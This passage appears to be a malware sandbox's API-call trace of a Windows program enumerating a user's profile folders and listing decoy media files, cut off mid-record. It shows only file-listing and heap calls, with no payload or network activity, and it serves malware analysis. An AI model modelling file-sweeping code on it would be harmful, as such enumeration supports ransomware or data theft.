[0124.723] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.723] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.723] PathFindFileNameW (pszPath="") returned="" [0124.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0124.737] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.737] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.737] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0124.737] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844f0 | out: hHeap=0x5c0000) returned 1 [0124.737] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0124.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.737] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.737] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.737] PathFindFileNameW (pszPath="") returned="" [0124.737] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844f0 | out: hHeap=0x5c0000) returned 1 [0124.737] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.737] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.738] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0124.738] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0124.738] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0124.738] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.738] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0124.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.738] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.738] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.738] PathFindFileNameW (pszPath="") returned="" [0124.738] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.738] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0124.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.738] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.738] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.738] PathFindFileNameW (pszPath="") returned="" [0124.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844f0 | out: hHeap=0x5c0000) returned 1 [0124.739] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0124.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.739] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.739] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.739] PathFindFileNameW (pszPath="") returned="" [0124.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844f0 | out: hHeap=0x5c0000) returned 1 [0124.739] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0124.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.739] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.739] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.739] PathFindFileNameW (pszPath="") returned="" [0124.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x526c04b0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x526c04b0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x526c04b0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x526c04b0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a4ddc0, ftCreationTime.dwHighDateTime=0x1d4ce32, ftLastAccessTime.dwLowDateTime=0x90b5d240, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x90b5d240, ftLastWriteTime.dwHighDateTime=0x1d4d154, nFileSizeHigh=0x0, nFileSizeLow=0xa548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2U_8PhFaccxBmEGBGe3v.flv", cAlternateFileName="2U_8PH~1.FLV")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb51600, ftCreationTime.dwHighDateTime=0x1d4c878, ftLastAccessTime.dwLowDateTime=0xa375fa80, ftLastAccessTime.dwHighDateTime=0x1d4c584, ftLastWriteTime.dwLowDateTime=0xa375fa80, ftLastWriteTime.dwHighDateTime=0x1d4c584, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Qd_U17.swf", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24152810, ftCreationTime.dwHighDateTime=0x1d4d2ef, ftLastAccessTime.dwLowDateTime=0x823973e0, ftLastAccessTime.dwHighDateTime=0x1d4c5db, ftLastWriteTime.dwLowDateTime=0x823973e0, ftLastWriteTime.dwHighDateTime=0x1d4c5db, nFileSizeHigh=0x0, nFileSizeLow=0x104fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7xg3.mkv", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68032360, ftCreationTime.dwHighDateTime=0x1d4d5b5, ftLastAccessTime.dwLowDateTime=0xdfd148f0, ftLastAccessTime.dwHighDateTime=0x1d4cdd5, ftLastWriteTime.dwLowDateTime=0xdfd148f0, ftLastWriteTime.dwHighDateTime=0x1d4cdd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="b-b9YkzIMqBbLX", cAlternateFileName="B-B9YK~1")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a9dfa0, ftCreationTime.dwHighDateTime=0x1d4d33c, ftLastAccessTime.dwLowDateTime=0x880b530, ftLastAccessTime.dwHighDateTime=0x1d4c901, ftLastWriteTime.dwLowDateTime=0x880b530, ftLastWriteTime.dwHighDateTime=0x1d4c901, nFileSizeHigh=0x0, nFileSizeLow=0x13337, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gJEx.avi", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4708f230, ftCreationTime.dwHighDateTime=0x1d4d104, ftLastAccessTime.dwLowDateTime=0x1e3800c0, ftLastAccessTime.dwHighDateTime=0x1d4ce71, ftLastWriteTime.dwLowDateTime=0x1e3800c0, ftLastWriteTime.dwHighDateTime=0x1d4ce71, nFileSizeHigh=0x0, nFileSizeLow=0x8e54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="igFrRTPuZ1KOcff.avi", cAlternateFileName="IGFRRT~1.AVI")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c25240, ftCreationTime.dwHighDateTime=0x1d4d34e, ftLastAccessTime.dwLowDateTime=0x99938ca0, ftLastAccessTime.dwHighDateTime=0x1d4ce01, ftLastWriteTime.dwLowDateTime=0x99938ca0, ftLastWriteTime.dwHighDateTime=0x1d4ce01, nFileSizeHigh=0x0, nFileSizeLow=0x16cb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M2Hq1q.mp4", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaccb270, ftCreationTime.dwHighDateTime=0x1d4d33d, ftLastAccessTime.dwLowDateTime=0xab69fa70, ftLastAccessTime.dwHighDateTime=0x1d4d3f3, ftLastWriteTime.dwLowDateTime=0xab69fa70, ftLastWriteTime.dwHighDateTime=0x1d4d3f3, nFileSizeHigh=0x0, nFileSizeLow=0x9e4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="thMFQm.flv", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7416f230, ftCreationTime.dwHighDateTime=0x1d4cd22, ftLastAccessTime.dwLowDateTime=0x12d8cc60, ftLastAccessTime.dwHighDateTime=0x1d4c894, ftLastWriteTime.dwLowDateTime=0x12d8cc60, ftLastWriteTime.dwHighDateTime=0x1d4c894, nFileSizeHigh=0x0, nFileSizeLow=0x115f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vLbfj.mp4", cAlternateFileName="")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b07f8c0, ftCreationTime.dwHighDateTime=0x1d4c9c4, ftLastAccessTime.dwLowDateTime=0xe10730d0, ftLastAccessTime.dwHighDateTime=0x1d4d10a, ftLastWriteTime.dwLowDateTime=0xe10730d0, ftLastWriteTime.dwHighDateTime=0x1d4d10a, nFileSizeHigh=0x0, nFileSizeLow=0x4f1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VvaG-iQ-9rXlD9Y.mkv", cAlternateFileName="VVAG-I~1.MKV")) returned 1 [0124.740] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b07f8c0, ftCreationTime.dwHighDateTime=0x1d4c9c4, ftLastAccessTime.dwLowDateTime=0xe10730d0, ftLastAccessTime.dwHighDateTime=0x1d4d10a, ftLastWriteTime.dwLowDateTime=0xe10730d0, ftLastWriteTime.dwHighDateTime=0x1d4d10a, nFileSizeHigh=0x0, nFileSizeLow=0x4f1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VvaG-iQ-9rXlD9Y.mkv", cAlternateFileName="VVAG-I~1.MKV")) returned 0 [0124.740] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084010 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fa8 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084218 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084280 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30842e8 | out: hHeap=0x5c0000) returned 1 [0124.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f760 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084350 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f810 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843b8 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f868 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084420 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f8c0 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f918 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084078 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f398 | out: hHeap=0x5c0000) returned 1 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0124.741] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.741] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0124.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0124.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.741] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.741] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.741] PathFindFileNameW (pszPath="") returned="" [0124.741] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, 